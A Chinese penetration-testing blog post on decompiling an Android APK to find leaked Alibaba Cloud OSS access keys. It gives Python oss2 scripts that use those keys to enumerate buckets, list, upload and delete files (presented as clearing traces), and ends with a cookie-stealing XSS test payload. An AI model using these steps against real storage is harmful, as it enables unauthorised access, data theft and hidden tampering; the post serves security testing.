渗透中APK测试小Tip
0x00 前言
最近在做一个APK的测试,发现整个APP的传输都是加密走TCP的,故此无法通过http协议进行重放篡改之类的攻击,作为一个web狗,只好用jadx对apk进行反编译,看看从源码中是否能找到相关信息,果不其然,在AndroidManifest.xml文件中发现存在多个接口的KEY信息,其中包括阿里云存储的OSSkey,这样就可以基本控制阿里云存储的所有文件。这里对此仅作记录。
0x01 反编译apk
反编译这里推荐jadx
,虽然Androidkiller功能比较多,由于其集成的apktool版本太旧会有各种问题,所以jadx
是不二的选择,平时做APP测试的时候,可以尝试搜索相关关键字,如这里的ossaccesskeyid之类的,说不定有意外的收获。
脚本实现访问阿里云存储:
阿里云存储的访问,在其官方文档提供了各式各样的访问方法,比如ossbrowser、ossutil、sdk等,其中ossbrowser是图形化操作的,适合在后期查看或下载某个文件的时候使用,如果需要快速获取目录下的文件结构的话,还是推荐使用sdk,官方提供了丰富的sdk接口和文档,这里记录一下基于python的sdk相关操作。
python sdk
安装
pip install oss2
枚举存储空间:
很多时候,你拿到的可能只是一个存储空间的访问地址,而accesskey的访问权限可能更大,这个时候就需要对存储空间进行枚举,看看其他空间是否有权限访问和有自己需要的信息。
# -*- coding: utf-8 -*-
import oss2
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
# 这里不一定是阿里云的域名,也可以是其他的域名或IP,可以根据网络请求和配置文件确定
service = oss2.Service(auth, 'http://oss-cn-hangzhou.aliyuncs.com')
print([b.name for b in oss2.BucketIterator(service)])
文件上传示例:
用于上传测试文件,比如测试HTML文件是否可以造成xss漏洞等。
# -*- coding: utf-8 -*-
import oss2
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
bucket.put_object_from_file('<yourObjectName>', '<yourLocalFile>')
文件名称枚举:
当存储空间和文件数量过多的时候,需要调用sdk将存储空间的文件结构快速地枚举出来,一遍进一步针对性地渗透。
# -*- coding: utf-8 -*-
import oss2
from itertools import islice
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
service = oss2.Service(auth, 'http://oss-cn-hangzhou.aliyuncs.com')
for b in oss2.BucketIterator(service):
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', b.name)
print(----------b.name----------)
for obj in oss2.ObjectIterator(bucket, delimiter = '/'):
print(obj.key)
删除文件:
测试过程中,难免需要上传测试文件,作为一个合格的渗透测试人员,清除痕迹是必须的掌握的技能。
# -*- coding: utf-8 -*-
import oss2
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
bucket.delete_object('<yourObjectName>')
授权访问:
在不知道文件如何访问的时候可以使用此方法获取URL,如果限制比较宽松的话,一般是直接url/
# -*- coding: utf-8 -*-
import oss2
auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
# 设置此签名URL在60秒内有效。
print(bucket.sign_url('GET', '<yourObjectName>', 60))
阿里云存储的XSS漏洞:
一般上阿里云的存储都可以上传任意文件,其中html文件是可以被浏览器解析的,故此可能造成XSS漏洞,或者被挂BC去引流等问题:
<script>alert(document. cookie)</script>
还有据说部分特殊环境下可以上传shtml文件可以导致命令执行和文件读取的漏洞,暂时没有遇到。
From:https://sharecast.bitcron.com/post/apk-pentest-tips
欢迎 点赞丨留言丨分享至朋友圈 三连
好文推荐